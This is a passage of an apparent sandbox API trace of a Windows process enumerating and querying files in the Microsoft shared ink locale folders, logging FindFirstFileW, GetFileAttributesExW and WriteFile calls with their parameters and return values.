	[0243.882] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.882] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0243.898] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.898] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.898] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.898] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0243.898] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.898] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.902] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.902] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.903] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.903] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.903] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.903] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.903] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0243.904] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0243.905] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.905] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.905] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.905] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0243.905] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.906] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.906] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.907] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.907] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.907] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.907] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.907] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.907] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.914] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.914] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.915] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.915] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.915] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.915] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600)) returned 1
	[0243.952] SetEvent (hEvent=0x124) returned 1
	[0243.952] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cdac0
